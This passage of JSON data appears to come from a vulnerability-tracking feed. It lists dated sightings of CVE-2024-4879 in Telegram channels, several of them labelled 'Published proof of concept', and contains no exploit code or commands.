"2026-07-12T00:00:47.860281Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/brutsecurity/1587", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "2ef7cb1c-b82a-47a7-a69d-5bdcbb654955", "url": "https://t.me/brutsecurity/1587"}, {"timestamp": "2026-09-02T06:00:06.615Z", "date_only": false, "value": "2026-09-02T06:00:06.615597Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/HackingTeamGrupoOfficial/47332", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "e48315cf-fc2e-4259-8df5-dcd197137408", "url": "https://t.me/HackingTeamGrupoOfficial/47332"}, {"timestamp": "2026-09-03T00:00:52.156Z", "date_only": false, "value": "2026-09-03T00:00:52.156346Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/HackingTeamGrupoOfficial/47332", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "2b2bbac4-e954-4f43-bd02-2f20f64a89ad", "url": "https://t.me/HackingTeamGrupoOfficial/47332"}, {"timestamp": "2026-09-14T03:00:09.442Z", "date_only": false, "value": "2026-09-14T03:00:09.442738Z", "kind": "sighting", "label": "Seen", "source": "Telegram/SWXpTb_FDgqk-a1sBSyz4gpK1bNcdSIfJKm4SIv87MwvEOM", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "6660802b-ff2b-46fe-bac0-cee7796eb86d"}, {"timestamp": "2026-09-15T00:00:24.531Z", "date_only": false, "value": "2026-09-15T00:00:24.531071Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/SWXpTb_FDgqk-a1sBSyz4gpK1bNcdSIfJKm4SIv87MwvEOM", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "2ab396fc-ea55-40e2-895a-5a56c58b6eb6"}, {"timestamp": "2026-10-28T03:00:11Z", "date_only": false, "value": "2026-10-28T03:00:11.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/0hF2E9aVfGvplPzTbP1TR7HraeqVaMSQJzVRlRVjLuuSVLA", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "abfeba09-5888-4d68-ae5d-adaca29d18b1"}, {"timestamp": "2026-10-28T03:00:11Z", "date_only": false, "value": "2026-10-28T03:00:11.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/0hF2E9aVfGvplPzTbP1TR7HraeqVaMSQJzVRlRVjLuuSVLA", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "95c74a71-1564-4695-9526-68d2a253cca7"}]}